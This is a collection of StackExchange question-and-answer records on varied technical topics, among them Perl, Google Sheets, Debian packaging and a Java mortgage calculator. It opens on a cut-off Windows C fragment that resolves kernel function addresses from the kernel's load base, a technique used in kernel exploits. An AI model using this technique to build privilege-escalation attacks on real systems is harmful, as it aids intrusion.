NULL);    KernelBase = (ULONG64)ModuleInfo.Modules[0].ImageBase;    // Load the kernel    hKernel = LoadLibraryEx(strrchr(ModuleInfo.Modules[0].FullPathName, '\\\\') + 1, 0, LOAD_LIBRARY_AS_IMAGE_RESOURCE);    // Look up the function in the kernel    KernelFunctionAddress = (ULONG64)GetProcAddress(hKernel, Name);    // Adjust the address based on the kernel load address    KernelFunctionAddress -= (ULONG64)hKernel;    KernelFunctionAddress += KernelBase;    return KernelFunctionAddress;}"  } 
{  "id": "_datascience.22604"  , "question": "In Andrew Ng's course about checking whether I my model is overfit or not. He said that to check it we should count the error rate of the training set and test set. And to get misclassification error of test set he use this function:$$err(h_\\Theta(x),y) = \\begin{matrix} 1 & \\mbox{if } h_\\Theta(x) \\geq 0.5\\ and\\ y = 0\\ or\\ h_\\Theta(x) < 0.5\\ and\\ y = 1\\newline 0 & \\mbox otherwise \\end{matrix}$$Why don't he use the same error function as its train set? The difference could be significantly large. For example here an error function of Logistic Regression:$$err(h_\\Theta(x),y) = - \\frac{1}{m} \\displaystyle \\sum_{i=1}^m [y^{(i)}\\log (h_\\theta (x^{(i)})) + (1 - y^{(i)})\\log (1 - h_\\theta(x^{(i)}))]$$The output of the first function is [0, 1] and the output of the second one is [0, ..., ~]. So, Why do classification test set use different function to count its error?"  , "title": "Why do classification test set use different function to count its error?"  , "tags": "machine learning;classification"  } 
{  "id": "_webapps.95588"  , "question": "I'd like to sum up values of specific cells in a column (In this case column A) from bottom to top, in order to get the latest added values, until they match a specific value (if greater than zero) from another cell (in this case 7 as noted in Cell A1). If they match that value, I'd like to have a sum of the cells next to column A.In the example below, I'd like to start summing up from cell A7 upwards, since the cells below are empty. So it keeps going up one row until the sum equals a predefined value (in this case: 7 as noted in Cell A1).So if A7, A6 and A5 match 7, I'd like to see the sum the sum of cells B7, B6 and B5. In the example below, the sum of values in the B column should thus be 8Example:Row  |  Column A   |  Column B   |  Column C1    |  7          |             |  Total: 82    |             |             |3    |  8          |  1          |4    |  3          |  2          |5    |  4          |  3          |6    |  2          |  3          |7    |  1          |  2          |9    |  [empty]    |  [empty]    |10   |  [empty]    |  [empty]    |11   |  [empty]    |  [empty]    |I hope the above is clear, and I am very curious if this can be done."  , "title": "Getting a sum of cells (bottom to top) in Google Sheets until a specific value is matched"  , "tags": "google spreadsheets"  , "accepted_answer": "Yes, this can be done.Following I will show an approach that use the running total formula posted by AdamL but first, it prepares the input data to be used by the referred formula:  First sort the input range in inverse order  C1: =SORT({{A3:B7},ROW(A3:A7)},3,FALSE) Calculate the running sum for the first (key) column  F1: =ArrayFormula(SUMIF(ROW(C3:C7),<=&ROW(C3:C7),C3:C7)) Calculate the running sum for the second (value) columnG1: =ArrayFormula(SUMIF(ROW(D3:D7),<=&ROW(D3:D7),D3:D7)) Find and return the output  H1: =VLOOKUP(A1,F3:G7,2) Following there is another approach. I made a slight change to the AdamL's formula (replace <= by >):Calculate the running sum for the first (key) column  C1: =ArrayFormula(SUMIF(ROW(A3:A7),>&ROW(A3:A7),A3:A7)) Calculate the running sum for the second (value) columnD1: =ArrayFormula(SUMIF(ROW(B3:B7),>&ROW(B3:B7),B3:B7)) Find and return the output  E1: =VLOOKUP(A1,A3:B7,2,FALSE)Demo file"  } 
{  "id": "_codereview.160384"  , "question": "Due to lack of central configuration management I am avoiding any Perl modules which would need to be installed on each of a great many servers. Result is more code than would normally be required in order to format HTML and send email as well as make system calls which are less desirable.#!/usr/bin/perluse strict;use warnings;use Sys::Hostname;use POSIX qw(uname);my (%fsSize, %fsFree, %fsPct, %overrides);my ($thresh, $fh);my $repFile = /tmp/chkDiskResults.txt;my $send = 0;my $hostname = hostname();my @uname = uname();# Determine the OS and set the 'df' command appropriatelymy $df;if ($uname[0] =~ 'AIX') {  $df = df -tg;} elsif ($uname[0] =~ 'Linux') {  $df = df -h;}# Check for an override file loading it if it exists and running# simple checks to ensure the values are valid.my $overrideFile = /etc/override;if (-e $overrideFile) {  open($fh, '<', $overrideFile) or die Unable to open file: $overrideFile\\n $!;  while (my $line = <$fh>) {    my @split = split /\\s+/, $line;    unless (!$split[1] || $split[1] !~ /^[0-9]+$/) {      $overrides{$split[0]} = $split[1];    }  }   close($fh);}# Execute the system 'df' command ignoring anything that isn't a# real filesystem# $cols[1] => Total space in GB# $cols[3] => Free space in GB# $cols[4] => Percent used column# $cols[5] => Mounted on columnforeach my $line (qx[$df |grep -E -v (Filesystem|proc|tmpfs)])  {  my @cols = split /\\s+/, $line;  chop($cols[1]);  chomp($cols[3]);  chop($cols[4]);  # set threshold based on disk size; A 1TB disk doesn't need  # to alert when 100GB are available  if ($cols[1] >= 800) {    $thresh = 98;  } elsif ($cols[1] < 800 && $cols[1] >= 400) {    $thresh = 96;  } elsif ($cols[1] < 400 && $cols[1] >= 200) {    $thresh = 94;  } elsif ($cols[1] < 200 && $cols[1] >= 100) {    $thresh = 92;  } else {    $thresh = 90;  }  $fsSize{$cols[5]} = $cols[1];# . G;  $fsFree{$cols[5]} = $cols[3];# . G;  $fsPct{$cols[5]} = $cols[4];}# Do the needful; override the thresholds if necessary; write# offending filesystems to /tmp/chkDiskResults.txt as HTML # since Outlook mangles text formattingopen($fh, '>', $repFile) or die Unable to open file: $repFile\\n $!;print $fh <<EOF;<html>  <body>    <h1>Disk usage report for $hostname</h1>    <table width=500>      <tr>        <th align=left>Filesystem</th>        <th>Size</th>        <th>Free</th>        <th>Percent Used</th>      </tr>EOFforeach my $key (keys %fsPct) {  my $origThresh = $thresh;  if (exists $overrides{$key}) {    $thresh = $overrides{$key};  }  if ($fsPct{$key} >= $thresh) {    $send = 1;    print $fh       <tr>\\n;    print $fh <<EOF;        <td>$key</td>        <td align=center>$fsSize{$key}G</td>        <td align=center>$fsFree{$key}G</td>        <td align=center>$fsPct{$key}%</td>EOF    print $fh       </tr>\\n;  }  $thresh = $origThresh;}# Close out the HTMLprint $fh <<EOF;    </table>  </body></html>EOFclose($fh);# Send the report; send email directly through sendmail avoiding# any additional modulesif ($send) {  my ($message_body, $subject, $from, $to, $cc);  open($fh, '<', $repFile) or die Cannot open $repFile:\\n $!;  {    local $/;    $message_body = <$fh>;  }  $subject = Just a test;  $from = root\\@$hostname;  $to = 'email@address';  #$cc = 'email@address';  #Cc: $cc  open(MAIL, |/usr/sbin/sendmail -oi -t);  print MAIL << EOF;Content-Type: text/htmlSubject: $subjectTo: $toFrom: $from$message_body\\n\\nEOF  close(MAIL);  unlink $repFile;} else {  exit;}The script is executed via SSH:# ssh server perl < script.plEDIT 1I can say that I've already found one issue: I receive an email even if there are no file systems that are at or above the threshold. The list is empty with just the headers being sent.EDIT 2Added code that sends the email if a file system is found which exceeds its threshold otherwise exits the script.EDIT 3Eliminated two system calls by using built-in Sys::Hostname and POSIX modules; Removed the $os variable and replaced it with direct use of $uname[0] established with POSIX::uname()"  , "title": "Perl script to check disk usage and report via email"  , "tags": "file system;email;perl;unix;status monitoring"  , "accepted_answer": "If you have a machine with something like a dvd reader/writer and a disk inserted, the use % will always be 100%. This is actually more common than one might think if, for example, you have a virtual machine with VirtualBox and the guest additions CD is mounted.On my own machine (Ubuntu 14.04), the output of df -h is udev            3,9G  4,0K  3,9G   1% /devnone            3,9G  147M  3,8G   4% /run/shmWhich will not be parsed correctly because of the , instead of the .As for the code itself:You're not using a proper temp file. I understand not wanting to use external modules, but File::Temp is a core module and it will be there unless your perl environment is broken.You don't have even a single sub and this makes the code a lot less readable.You have a double negation in unless (!$split[1] || $split[1] !~ /^[0-9]+$/) {. This is the same as if ($split[1] || $split[1] =~ /^[0-9]+$/) which I think is more readable (btw, unless is the same as if not, but it's not exactly the same as if ! because of precedence).These lines:my @cols = split /\\s+/, $line;chop($cols[1]);chomp($cols[3]);chop($cols[4]);can be replaced bymy @cols = map { substr($_, 0, length($_)-1) || 0 } split /\\s+/, $line;This part:  if ($cols[1] >= 800) {    $thresh = 98;  } elsif ($cols[1] < 800 && $cols[1] >= 400) {    $thresh = 96;  } elsif ($cols[1] < 400 && $cols[1] >= 200) {    $thresh = 94;  } elsif ($cols[1] < 200 && $cols[1] >= 100) {    $thresh = 92;  } else {    $thresh = 90;  }Is actually just:  if ($cols[1] >= 800) {    $thresh = 98;  } elsif ($cols[1] >= 400) {    $thresh = 96;  } elsif ($cols[1] >= 200) {    $thresh = 94;  } elsif ($cols[1] >= 100) {    $thresh = 92;  } else {    $thresh = 90;  }There is no reason to have <tr> and </tr> in a separate print.You're not differentiating thresholds by filesystem, you have only one even if the filesystems have different sizes.I think it would be more readable if you used only one hash to store everything and distinguish by key.This is part of the script how I would write it. It's not complete, because it's missing the override and the sending part, but I'm sure you can figure out how to do that.#!/usr/bin/perluse strict;use warnings;use File::Temp qw(tempfile);use Sys::Hostname;use POSIX qw(uname);use Data::Dumper;my %overrides;my $send     = 0;my $filename = write_report_file( get_fs_data() );print Dumper $filename; # This is the file you can sendsub get_df_command {    my $df;    my @uname = uname();    if ( $uname[0] =~ 'AIX' ) {        $df = df -tg;    }    elsif ( $uname[0] =~ 'Linux' ) {        $df = df -h;    }    return $df;}sub get_fs_data {    my %fs_data;    my $df = get_df_command();    foreach my $line (qx[$df |grep -E -v (Filesystem|proc|tmpfs)]) {        $line =~ s/,/\\./g;        my @cols = map { substr( $_, 0, length($_) - 1 ) || 0 } split(/\\s+/, $line);        my $thresh;        if ( $cols[1] >= 800 ) {            $thresh = 98;        }        elsif ( $cols[1] >= 400 ) {            $thresh = 96;        }        elsif ( $cols[1] >= 200 ) {            $thresh = 94;        }        elsif ( $cols[1] >= 100 ) {            $thresh = 92;        }        else {            $thresh = 90;        }        $fs_data{ $cols[5] } = {            total        => $cols[1],            free         => $cols[3],            percent_used => $cols[4],            threshold    => $thresh,        };    }    return \\%fs_data;}sub write_report_file {    my ($data) = @_;    my %fs_data = %{$data};    my $hostname = hostname();    my ( $rep_fh, $rep_filename ) = tempfile( UNLINK => 0 ) or die Unable to open temp file: $!;    print $rep_fh <<EOF;<html>  <body>    <h1>Disk usage report for $hostname</h1>    <table width=500>      <tr>        <th align=left>Filesystem</th>        <th>Size</th>        <th>Free</th>        <th>Percent Used</th>      </tr>EOF    foreach my $filesystem ( keys(%fs_data) ) {        my $thresh = $overrides{$filesystem} // $fs_data{$filesystem}->{threshold};        if ( $fs_data{$filesystem}->{percent_used} >= $thresh ) {            $send = 1;            print $rep_fh <<EOF;        <tr>        <td>$filesystem</td>        <td align=center>$fs_data{$filesystem}->{total}G</td>        <td align=center>$fs_data{$filesystem}->{free}G</td>        <td align=center>$fs_data{$filesystem}->{percent_used}%</td>        </tr>EOF        }    }    print $rep_fh <<EOF;    </table>  </body></html>EOF    close($rep_fh);    return $rep_filename;}"  } 
{  "id": "_webmaster.108694"  , "question": "Im interested in transferring my domain name from GoDaddy to Namesilo due to renewals being a lot cheaper. However, to initiate the transfer, GoDaddy forces me to disable my paid for domain privacy service. Since Im not very familiar with domain transfers, would this temporarily leave my real WHOIS information exposed during the transfer?I really dont want any WHOIS crawling service to add and archive my unprotected domain WHOIS during the transfer.In the case its not possible to transfer my domain name without my real WHOIS leaking, would it be a good idea for me to change my domains information to false and randomly made up information (except for my email so I can still be contacted), so that, during the transfer, any WHOIS crawler website will only potentially cache my invalid WHOIS (effectively having the same effect as domain privacy)?Im aware that changing WHOIS information results in GoDaddy temporarily locking my domain from being transferred for 60 days, but thats not a problem for me, as long as my domains real WHOIS remains private during the transfer. After the domain transfer, I would of course change the domain information back to my real information once WHOIS privacy is enabled by Namesilo.EDITI've received the following response from Namesilo's support;Yes, removing privacy would result in your information being shown in WHOIS. However, since you can expedite transfers from Godaddy, this would only be for about 30 minutes which is very likely not enough time for any harvesters to get itWhat bothers me though is the very likely not enough time part of that statement. I'm very paranoid, so I believe, considering the huge number of WHOIS harvesters out there, 30 minutes is enough time to grab my real WHOIS before the transfer completes. It seems like the only solid way to fully prevent my real WHOIS information from leaking is by faking the current WHOIS record and waiting for 60 days, prior to initiating the transfer."  , "title": "Transferring Domain from GoDaddy and WHOIS Privacy"  , "tags": "domains;domain registrar;transfer;domain transfer"  } 
{  "id": "_unix.121906"  , "question": "I'm looking to run a linux ISO from within windows 7, say Tiny Core Linux, since I'm new to Linux and I'm looking to learn it from within a familiar environment.I have tried StartLinux, and extracted its contents in a folder with the ISO file. It started fine but, after a while, I recieved a blue screen and the computer rebooted. Linux also didn't see the Hard drive, but that was alright (for my limited needs).I have also tried mounting the ISO using Ultraiso, and used StartLinuxCD but the boot never continued in the first place.I also booted Tinycore normally with a USB stick, but it didn't start the GUI, but that's another matter.I have tried downloading Cygwin, but I never understood how it works :SIs their any other way I can run Linux from within windows for a beginner like myself, without problems?I'm looking to do very simple tasks in Linux; like opening the BASH, or getting familiar with the tools, while reading the documentation from Windows or the internet."  , "title": "I want to run Linux ISO from windows"  , "tags": "linux;tinycore"  , "accepted_answer": "You can install Linux in a virtual machine, check Virtualbox."  } 
{  "id": "_unix.126714"  , "question": "I've changed (using the keyboard layout options in Linux Mint 13) the keyboard layout as follows:The Caps Lock key is reconfigured as Compose key.Pressing both Shift keys at once toggles Caps Lock.Since both options are offered by the menus (no xmodmap or similar involved), I figure they should work fine, and indeed, I've never noticed any problems (including inside XEmacs), with one exception:Whenever I start XEmacs (version 21.4.22), I get an extra window (in the Emacs sense of window) with the following text:(1) (key-mapping/warning)     The meanings of the modifier bits Mod1 through Mod5 are determined    by the keysyms used to control those bits.  Mod1 does NOT always    mean Meta, although some non-ICCCM-compliant programs assume that.(2) (key-mapping/warning)     The semantics of the modifier bits ModShift, ModLock, and ModControl    are predefined.  It does not make sense to assign ModControl to any    keysym other than Control_L or Control_R, or to assign any modifier    bits to the control keysyms other than ModControl.  You can't    turn a control key into a meta key (or vice versa) by simply    assigning the key a different modifier bit.  You must also make that    key generate an appropriate keysym (Control_L, Meta_L, etc).(3) (key-mapping/warning) XEmacs:  Shift_L (0x32) generates ModLock, which is nonsensical.Is there any way to tell XEmacs to stop teaching me that my keyboard settings are bad?"  , "title": "How to stop XEmacs from teaching me that my keyboard settings are bad?"  , "tags": "keyboard layout;xemacs"  } 
{  "id": "_cogsci.16869"  , "question": "I'm working with a child who refuses to perform any SLT activities without the aid of Lego. I was wondering if anyone knew any interesting interventions involving Lego compared to standard SALT techniques. "  , "title": "Does Lego intervention improve children's completion score compared to normal SALT interventions?"  , "tags": "learning;communication;speech;cognitive development"  } 
{  "id": "_softwareengineering.37751"  , "question": "I'm working in the Development dept (around 40 developers) for a large E-Commerce company. We've grown quickly but have not evolved very well in the field of documenting our work. We work with an Agile / Scrum-like methodology with our development and testing but documentation seems to be neglected.We need to be able to make documentation that would aid a developer who hasnt worked on our project before or was new to the company. We also have to create more high level information for our support department to explain any extra config settings and fixes of known issues that may arise, if any.Currently we put this in a badly put together wiki, based on an old Sharepoint / TFS site.Can anyone suggest some ideal links or advice on improving the documentation standard? What works in other companies?Has anyone got avice on developing documentation as part of an agile process?Many thanks,ben"  , "title": "Support / Maintenance documentation for development team"  , "tags": "agile;documentation;scrum;support"  , "accepted_answer": "Include documentation in your DoD, Definition of Done. It works perfectly with Scrum.Explanation here: Manuals - How Up To Date?"  } 
{  "id": "_unix.321778"  , "question": "I've got a number of log files (20-500) from an application that crashes. All the log files are from one run of the application - its heavily multithreaded, with each thread writing to its own file. But the logs are large. (Can be 100s of MB each in some cases)Now one of the threads is crashing, and when it does it writes a message into the last hundred or so lines of its log file. Sometimes the threads all complete OK and that line is never written.My wrapper script that runs the crashing application is in bash, and I'd like to detect when the app crashes in this way so I can restart it.Can I do anything nicer than:# We want to run at least onceCRASHED=1while [ CRASHED -eq 1 ]    # Run the app    run_application    # Check the end of all the logs for KEY    CRASHED=0    for x in logs/* ; do      if tail -n 100 $x | grep KEY ; then        CRASHED=1        # We'll only find it once, so may as well bail out now        break      fi    donedone  I'm primarily interested if I can replace the loop over the log files with something built in. I can't just usegrep KEY logs/* since the files are too large for this to be efficient."  , "title": "grep end of several files"  , "tags": "grep;logs"  , "accepted_answer": "In the end I went with some of the methods from the comments. Getting the tail out of the core loop allowed further simplification of the logic: What I ended up with was something like:while true    echo Starting the application    run_application    echo Application exited - checking logs for KEY    if ! tail -qn 100 logs/* | grep -q KEY    then      echo Failed without KEY in the logs - exiting      break    fi    echo Failed with KEY in the logs - restartingdone "  } 
{  "id": "_codereview.108917"  , "question": "I'm working on a class project for my intro to Java class. My background is in accounting/finance so I decided to make this simple calculator that helps the user decide what they can afford and how much they can save on interest expense over the loan term. I'm just looking for general feedback on code structure and tips/advice on better ways to clean up the code or make it more efficient.Regarding layout, I chose to challenge myself and create the GUI without using Window builder and just start typing out the code. As such, I used gridlayout for ease of organization.import javax.swing.JFrame;public class Main {public static void main(String[] args) {    // TODO Auto-generated method stub    Calculator calculator = new Calculator();    calculator.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);    calculator.pack();    calculator.setVisible(true);}}import javax.swing.JFrame;import java.awt.BorderLayout;import java.awt.Color;import java.awt.Font;import java.awt.GridLayout;import javax.swing.BorderFactory;import javax.swing.JButton;import javax.swing.JComponent;import javax.swing.JPanel;import javax.swing.JTextField;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.text.NumberFormat;import javax.swing.JLabel;import javax.swing.JOptionPane;public class Calculator extends JFrame {private JButton b1, b2, b3, b4;private JTextField t1, t2, t3, t4, t5, t6, t7;private JLabel l1, l1a, l2, l3, l4, l5, l6, l7, l8, l9, l10;private JLabel l11, l12, l13, l14, l15, l16, l17, l18, l19, l20;private JLabel l21, l22, l23, l24, l25, l26;public Calculator(){    JPanel panel1 = new JPanel();    JPanel panel2 = new JPanel();    JPanel panel4 = new JPanel();    panel1.setLayout(new GridLayout(6,4,10,0));    panel1.setBorder(BorderFactory.createLineBorder(Color.GRAY));    panel2.setLayout(new GridLayout(2,1));    panel2.setBackground(new Color(83, 116, 246));    panel2.setBorder(BorderFactory.createLineBorder(Color.GRAY));    panel4.setLayout(new GridLayout(6,2,10,0));    panel4.setBorder(BorderFactory.createLineBorder(Color.GRAY));    add(panel1, BorderLayout.PAGE_END);    add(panel2, BorderLayout.PAGE_START);    add(panel4, BorderLayout.CENTER);    //panel 1    l2 = new JLabel(Purchase Price);    t1 = new JTextField(10);    l2.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    l9 = new JLabel(30 Yr Monthly Payment);    l15 = new JLabel(0.00);    l15.setForeground(new Color(0, 0, 153));    l15.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel1.add(l2);    panel1.add(t1);    panel1.add(l9);    panel1.add(l15);    l3 = new JLabel(Down Payment (%));    t2 = new JTextField(10);    l3.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    l10 = new JLabel(Total Interest Paid);    l16 = new JLabel(0.00);    l16.setForeground(new Color(255, 51, 0));    l16.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel1.add(l3);    panel1.add(t2);    panel1.add(l10);    panel1.add(l16);    l4 = new JLabel(Interest Rate (APR%));    t3 = new JTextField(10);    l4.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    l11 = new JLabel(20 Yr Monthly Payment);    l17 = new JLabel(0.00);    l17.setForeground(new Color(0, 0, 153));    l17.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel1.add(l4);    panel1.add(t3);    panel1.add(l11);    panel1.add(l17);    l5 = new JLabel(Annual Property Tax);    t4 = new JTextField(10);    l5.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    l12 = new JLabel(Total Interest Paid);    l18 = new JLabel(0.00);    l18.setForeground(new Color(255, 51, 0));    l18.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel1.add(l5);    panel1.add(t4);    panel1.add(l12);    panel1.add(l18);    l25 = new JLabel(Include Mortgage Insurance?);    l26 = new JLabel();    l25.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    l13 = new JLabel(15 Yr Monthly Payment);    l19 = new JLabel(0.00);    l19.setForeground(new Color(0, 0, 153));    l19.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel1.add(l25);    panel1.add(l26);    panel1.add(l13);    panel1.add(l19);    b1 = new JButton(Clear);     b2 = new JButton(Payments & Total Interest);    l14 = new JLabel(Total Interest Paid);    l20 = new JLabel(0.00);    l20.setForeground(new Color(255, 51, 0));    l20.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel1.add(b1);    panel1.add(b2);    panel1.add(l14);    panel1.add(l20);    ButtonListener bl = new ButtonListener();    b1.addActionListener(bl);    b2.addActionListener(bl);    //panel 2    l1 = new JLabel(Affordability Calculator);    l1a = new JLabel(Calculate Monthly Payments, Total Interest Expense,     and your Maximum Affordability);    panel2.add(l1);    panel2.add(l1a);    l1.setFont(new Font(Helvetica, Font.BOLD,14));    l1a.setFont(new Font(Helvetica, Font.ITALIC,12));    l1.setForeground(new Color(255, 255, 255));    l1a.setForeground(new Color(255, 255, 255));    //panel 4    l6 = new JLabel(Gross Monthly Income (From wages and other taxable income));    t5 = new JTextField(10);    l6.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel4.add(l6);    panel4.add(t5);    l7 = new JLabel(Recurring Monthly Debt (Car payments, other loan payments));    t6 = new JTextField(10);    l7.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel4.add(l7);    panel4.add(t6);    l8 = new JLabel(Credit Card Payments (Total minimum amount due));    t7 = new JTextField(10);    l8.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel4.add(l8);    panel4.add(t7);    l21 = new JLabel(Maximum Monthly Payment @ 36% Debt-to-Income);    l22 = new JLabel(0.00);    l22.setForeground(new Color(0, 0, 153));    l22.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel4.add(l21);    panel4.add(l22);    l23 = new JLabel(Maximum Monthly Payment @ 45% Debt-to-Income);    l24 = new JLabel(0.00);    l24.setForeground(new Color(0, 0, 153));    l24.setFont(new Font(Arial Rounded MT Bold, Font.PLAIN, 12));    panel4.add(l23);    panel4.add(l24);    b3 = new JButton(Clear);     b4 = new JButton(Calculate Max Affordability);    panel4.add(b3);    panel4.add(b4);    b3.addActionListener(bl);    b4.addActionListener(bl);}private class ButtonListener implements ActionListener {    public void actionPerformed(ActionEvent event)    {        ButtonFunction bf = new ButtonFunction();        NumberFormat nf = NumberFormat.getCurrencyInstance();        if(event.getSource() == b2)        {            try            {                bf.CalcPayInt(Double.parseDouble(t1.getText()), Double.parseDouble(t2.getText()), Double.parseDouble(t3.getText()), Double.parseDouble(t4.getText()));                l15.setText(nf.format(bf.getMonthlyPay30()));                l16.setText(nf.format(bf.getTotalInt1()));                l17.setText(nf.format(bf.getMonthlyPay20()));                l18.setText(nf.format(bf.getTotalInt2()));                l19.setText(nf.format(bf.getMonthlyPay15()));                l20.setText(nf.format(bf.getTotalInt3()));                if(Double.parseDouble(t2.getText()) < 20)                {                    l26.setText(Yes - avg $100/mo);                }                else                 {                    l26.setText(No - 20% or more down);                }            } catch(Exception e)            {                JOptionPane.showMessageDialog(null, Please enter a valid number);            }        }        if(event.getSource() == b1)        {            t1.setText();            t2.setText();            t3.setText();            t4.setText();            l26.setText();            l15.setText(0.00);            l16.setText(0.00);            l17.setText(0.00);            l18.setText(0.00);            l19.setText(0.00);            l20.setText(0.00);        }        if(event.getSource() == b3)        {            t5.setText();            t6.setText();            t7.setText();            l22.setText(0.00);            l24.setText(0.00);        }        if(event.getSource() == b4)        {            try            {                bf.calcDTI(Double.parseDouble(t5.getText()), Double.parseDouble(t6.getText()), Double.parseDouble(t7.getText()));                l22.setText(nf.format(bf.getMaxPay1()));                l24.setText(nf.format(bf.getMaxPay2()));            }            catch(Exception e2)            {                JOptionPane.showMessageDialog(null, Please enter a valid number);            }        }    }}}public class ButtonFunction {private double purchasePrice;private double loanAmount;private double monthlyIntRate;private double downPayment;private double monthlyTax;private double monthlyPay1;private double monthlyPay2;private double monthlyPay3;private double totalInt1;private double totalInt2;private double totalInt3;private double termMonths1 = 360.0; //30 year termprivate double termMonths2 = 240.0; //20 year termprivate double termMonths3 = 180.0; //15 year termprivate final double PMI = 100.0; //average mortgage insurance monthly costprivate double totalDebt;private double grossIncome;private double maxPay1;private double maxPay2;private final double DTI1 = .36;private final double DTI2 = .45;public void CalcPayInt(double purchasePrice, double downPayment, double intRate, double tax){    this.purchasePrice = purchasePrice;    this.downPayment = purchasePrice * (downPayment/100);    this.loanAmount = purchasePrice - this.downPayment;     this.monthlyIntRate = (intRate/100)/12;     this.monthlyTax = tax/12;    //M=P[i(1 +i)^n] / [ ((1 +i)^n)- 1]    monthlyPay1 = (loanAmount * ((monthlyIntRate * Math.pow((1 + monthlyIntRate),termMonths1)) /     (Math.pow((1 + monthlyIntRate), termMonths1) - 1))) + monthlyTax;    totalInt1 = ((monthlyPay1 - monthlyTax) * termMonths1) - loanAmount;    monthlyPay2 = (loanAmount * ((monthlyIntRate * Math.pow((1 + monthlyIntRate),termMonths2)) /     (Math.pow((1 + monthlyIntRate), termMonths2) - 1))) + monthlyTax;    totalInt2 = ((monthlyPay2 - monthlyTax) * termMonths2) - loanAmount;    monthlyPay3 = (loanAmount * ((monthlyIntRate * Math.pow((1 + monthlyIntRate),termMonths3)) /     (Math.pow((1 + monthlyIntRate), termMonths3) - 1))) + monthlyTax;    totalInt3 = ((monthlyPay3 - monthlyTax) * termMonths3) - loanAmount;}public void calcDTI(double grossIncome, double debt, double creditCards){    this.grossIncome = grossIncome;    this.totalDebt = debt + creditCards;    maxPay1 = (grossIncome * DTI1) - totalDebt;    maxPay2 = (grossIncome * DTI2) - totalDebt;}public double getMonthlyPay30(){    if(downPayment < (purchasePrice * 0.20))    {        return monthlyPay1 + PMI;    } else    {        return monthlyPay1;    }}public double getMonthlyPay20(){    if(downPayment < (purchasePrice * 0.20))    {        return monthlyPay2 + PMI;    } else    {        return monthlyPay2;    }}public double getMonthlyPay15(){    if(downPayment < (purchasePrice * 0.20))    {        return monthlyPay3 + PMI;    } else    {        return monthlyPay3;    }}public double getTotalInt1(){    return totalInt1;}public double getTotalInt2(){    return totalInt2;}public double getTotalInt3(){    return totalInt3;}public double getMaxPay1(){    return maxPay1;}public double getMaxPay2(){    return maxPay2;}}"  , "title": "Affordability/Mortgage Calculator"  , "tags": "java;beginner;calculator;finance"  } 
{  "id": "_webmaster.24190"  , "question": "I hope this is a valid question to ask here... but knows anyone a better spam protection than reCAPTCHA? We've now using reCAPTCHA for some time but got now the situation that obviously more and more spam comes through. Is there any better but still more or less user friendly spam protection you can recommend? It can be just a concept or also a (free) service."  , "title": "Better Spam Protection than reCAPTCHA?"  , "tags": "spam;security;protection"  } 
{  "id": "_webmaster.101120"  , "question": "I have a Google App Engine Java web app that I have setup with a custom domain from GoDaddy. The site can currently be reached at domain.com and www.domain.com. I am trying to have a 301 redirect occur whenever someone tries to access domain.com instead of www.domain.com. I have tried to use domain forwarding via GoDaddy, without success. How can I achieve this goal?Here is my Google App Engine setup. I have added all of these records to the GoDaddy DNS Manger.Here is the domain forwarding information I tried:"  , "title": "Google App Engine 301 Redirect"  , "tags": "301 redirect;godaddy;google app engine"  } 
{  "id": "_unix.204801"  , "question": "I have a synaptoc problem, with Debian-Wheezy.     uname -a    Linux primergy 3.2.0-4-686-pae #1 SMP Debian 3.2.65-1+deb7u1 i686 GNU/LinuxTrying to apply the installation for libaudit1 it says:    Could not apply changes!    Fix broken packages first.*I edited /etc/apt/sources.list and put some further entries (from a similar question) here:    # problem with synaptic 2015-05-21 (from stack-exchange):    deb http://ftp.ua.debian.org/debian jessie main # contrib non-free #     #deb-src http://ftp.ua.debian.org/debian jessie main # contrib non-free #     deb http://ftp.ua.debian.org/debian jessie-updates main # contrib non-free #    #deb-src http://ftp.ua.debian.org/debian jessie-updates main # contrib non-free #I just tried it and the error occurs again! no change :)Aptitude gave:   root@primergy:/home/kampmann# aptitude why libaudit1   i   adduser Depends passwd (>= 1:4.0.12)     p   passwd  Depends libaudit1 (>= 1:2.2.1)   root@primergy:/home/kampmann# aptitude why-not libaudit1   Unable to find a reason to remove libaudit1.   root@primergy:/home/kampmann# aptitude why passwd      i   libuuid1 Depends passwd   root@primergy:/home/kampmann# aptitude why libuuid1   i   libxapian22 Depends libuuid1 (>= 2.16)   root@primergy:/home/kampmann# aptitude why adduser    i   red5-server Depends adduser (>= 3.11)   root@primergy:/home/kampmann# Is there any reason I cannot install libaudit1 Generally spoken: I wanted to upgrade my system and there are about 1800 such messages!Secondly, I did the following:root@primergy:/home/kampmann# apt-get install libaudit1Reading package lists... DoneBuilding dependency tree       Reading state information... DoneSome packages could not be installed. This may mean that you haverequested an impossible situation or if you are using the unstabledistribution that some required packages have not yet been createdor been moved out of Incoming.The following information may help to resolve the situation:The following packages have unmet dependencies: libglib2.0-0 : Breaks: glib-networking (< 2.33.12) but 2.32.3-1 is to be installedN: Ignoring file 'skype-debian.old' in directory '/etc/apt/sources.list.d/' as it has an invalid filename extensionN: Ignoring file 'mono' in directory '/etc/apt/sources.list.d/' as it has no filename extensionN: Ignoring file 'skype-debian.old' in directory '/etc/apt/sources.list.d/' as it has an invalid filename extensionN: Ignoring file 'mono' in directory '/etc/apt/sources.list.d/' as it has no filename extensionE: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.root@primergy:/home/kampmann# My question: do I have to upgrade Debian Wheezy to the next version?"  , "title": "At Synaptic (Debian Wheezy) how to react to message ... broken package ...?"  , "tags": "debian;synaptic"  } 
